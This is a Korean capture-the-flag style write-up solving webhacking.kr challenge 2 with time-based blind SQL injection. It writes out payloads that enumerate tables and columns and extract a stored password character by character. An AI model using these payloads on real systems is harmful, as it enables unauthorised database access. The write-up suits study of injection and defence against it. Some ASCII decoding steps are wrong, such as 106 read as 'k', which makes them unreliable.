본문 바로가기

webhacking.kr/Challenge(old)

webhacking.kr 2번 문제 풀이(old)_해결편

안녕하세요. 정보보안 등대지기입니다.

 

오늘은 어제 내용 이어서 2번 문제를 풀어보도록 하겠습니다.

 

※ 정답만 보지 마시고 실습을 통해 문제를 직접 풀어보시는 것을 추천드립니다.

 

 

지난번에 time 값을 이용하여 문제를 해결해야 되는 걸 알았으니 오늘 Blind SQL Injection 공격을 시도해보려 합니다.

(지금 내용이 이해하기 어려우시다면 2번 문제풀이(old)_분석편 먼저 보고 오시면 이해하기 쉬울 겁니다.)

https://secuity-lighthouse.tistory.com/3

 

webhacking.kr 2번 문제 풀이(old)_분석편

안녕하세요. 정보보안 등대지기입니다. 오늘은 2번 문제를 풀어보도록 하겠습니다. ※ 정답만 보지 마시고 실습을 통해 문제를 직접 풀어보시는 것을 추천드립니다. 2번을 클릭하면 제한구역이�

secuity-lighthouse.tistory.com

 

우선 데이터베이스 내에 몇 개의 테이블이 존재하는지 확인하기 위해 count 명령어를 사용합니다.

time=(select count(table_name) from information_schema.tables where table_schema=database());

 

테이블 갯수 확인

 

 

09:00:02인 것으로 보아 테이블 개수가 2개인 것을 알 수 있습니다.

 

 

테이블 개수를 알았으니 전체 두 개의 테이블 중 첫 번째 테이블 명의 길이를 확인하기 위해 length와 limit 명령어를 사용합니다.

time=(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1);

 

첫 번째 테이블 명의 길이 확인

 

 

09:00:13인 것으로 보아 첫 번째 테이블 명의 문자열 길이는 13자인 것을 알 수 있습니다.

 

 

이번에는 두 번째 테이블 명의 문자열 길이를 확인해 봅니다.

 

두 번째 테이블 명의 길이 확인

 

 

09:00:03인 것으로 보아 두 번째 테이블 명의 문자열 길이는 3자인 것을 알 수 있습니다.

 

 

모든 테이블 명의 길이는 확인했으니 첫 번째 테이블부터 문자를 유추해 봅시다.

(이제부터 본격적인 Blind SQL Injection 공격 들어갑니다.)

 

 

첫 번째 테이블에 첫 번째 문자를 확인하기 위해 ascii와 substr 명령어를 사용합니다.

time=(select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0,1);

 

첫 번째 테이블에 첫 번째 문자 확인

 

09:01:37인 것으로 보아 1분은 60(초)이므로 37(초)과 합치면 97이며, 아스키코드(ascii)를 이용하여 문자(substr)로 변환하면 'a'가 됩니다.

 

즉, 첫 번째 문자는 'a'입니다.

 

 

동일한 방식(table_name, 1~13, 1)으로 열세 번째 문자까지 확인한 결과

첫 번째 테이블 명은 admin_area_pw입니다.

 

 

 

이번에는 두 번째 테이블에 첫 번째 문자를 확인합니다.

time=(select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 1,1);

 

두 번째 테이블에 첫 번째 문자 확인

 

09:01:48인 것으로 보아 값은 108이며, 아스키코드(ascii)를 이용하여 문자(substr)로 변환하면 'l' 이 됩니다.

 

즉, 첫 번째 문자는 'l'입니다.

 

동일한 방식(table_name, 1~3, 1)으로 세 번째 문자까지 확인한 결과

두 번째 테이블 명은 log입니다.

 

두 개의 테이블 명만 보고 추측했을 때, 첫 번째 테이블에 해답이 있을 가능성이 높다고 판단되어 첫 번째 테이블 내 하위 내용들부터 우선 확인합니다.

 

 

모든 테이블 명을 확인했으니 admin_area_pw 테이블에서 컬럼이 몇 개인지 확인합니다.

time=(select count(column_name) from information_schema.columns where table_name="admin_area_pw");

 

첫 번째 테이블의 컬럼 개수 확인

 

 

09:00:01인 것으로 보아 컬럼 개수는 1개인 것을 알 수 있습니다.

 

 

컬럼 개수를 확인했으니 컬럼의 문자열 길이를 확인합니다.

time=(select length(column_name) from information_schema.columns where table_name="admin_area_pw");

 

컬럼의 글자 수 확인

 

 

09:00:02인 것으로 보아 컬럼의 문자열 길이는 2자인 것을 알 수 있습니다.

 

 

컬럼의 첫 번째 글자를 확인하기 위해 ascii와 substr 명령어를 사용합니다.

time=(select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name="admin_area_pw");

 

컬럼의 첫 번째 글자 확인

 

 

09:01:52인 것으로 보아 값은 112이며, 아스키코드(ascii)를 이용하여 문자(substr)로 변환하면 'p'가 가 됩니다.

 

즉, 첫 번째 문자는 'l'입니다.

동일한 방식(column_name, 1~2, 1)으로 두 번째 문자까지 확인한 결과

컬럼 명은 pw입니다.

 

 

컬럼 명이 pw인 것으로 보아 해당 컬럼 안에 정답이 있을거 같네요.

 

 

컬럼 내 내용을 확인하기 위해 먼저 문자열 길이를 확인하기 위해 length명령어를 사용합니다.

time=(select length(pw) from admin_area_pw);

 

컬럼 내 내용의 글자 수 확인

 

 

 

09:01:17인 것으로 보아 컬럼 내 내용의 문자열 길이는 17자인 것을 알 수 있습니다.

 

 

컬럼 내 내용의 첫 번째 문자를 확인하기 위해 ascii와 substr 명령어를 사용합니다.

time=(select ascii(substr(pw, 1, 1)) from admin_area_pw);

 

컬럼 내 내용의 첫 번째 문자 확인

 

 

09:01:47인 것으로 보아 값은 106이며, 아스키코드(ascii)를 이용하여 문자(substr)로 변환하면 'k'가 가 됩니다.

 

즉, 첫 번째 문자는 'k'입니다.

 

동일한 방식(pw, 1~17, 1)으로 열일곱 번째 문자까지 확인한 결과

컬럼 내 내용은 kudos_to_beistlab입니다.

 

 

위 pw값을 가지고 admin.php에 들어가 입력해 보았더니...

 

문제 해결

 

 

저는 한번 풀었던 문제라 이미 풀었다는 메시지가 뜨네요.

 

 

2번 문제 풀이는 여기서 마치겠습니다.

보안에 관심 있는 분들이 손쉽게 이해하고 접근할 수 있도록 노력하겠습니다 :)

 

질문 또는 조언해주실 분은 아래 댓글 또는 메일로 남겨주세요.

 

cjh1503123@naver.com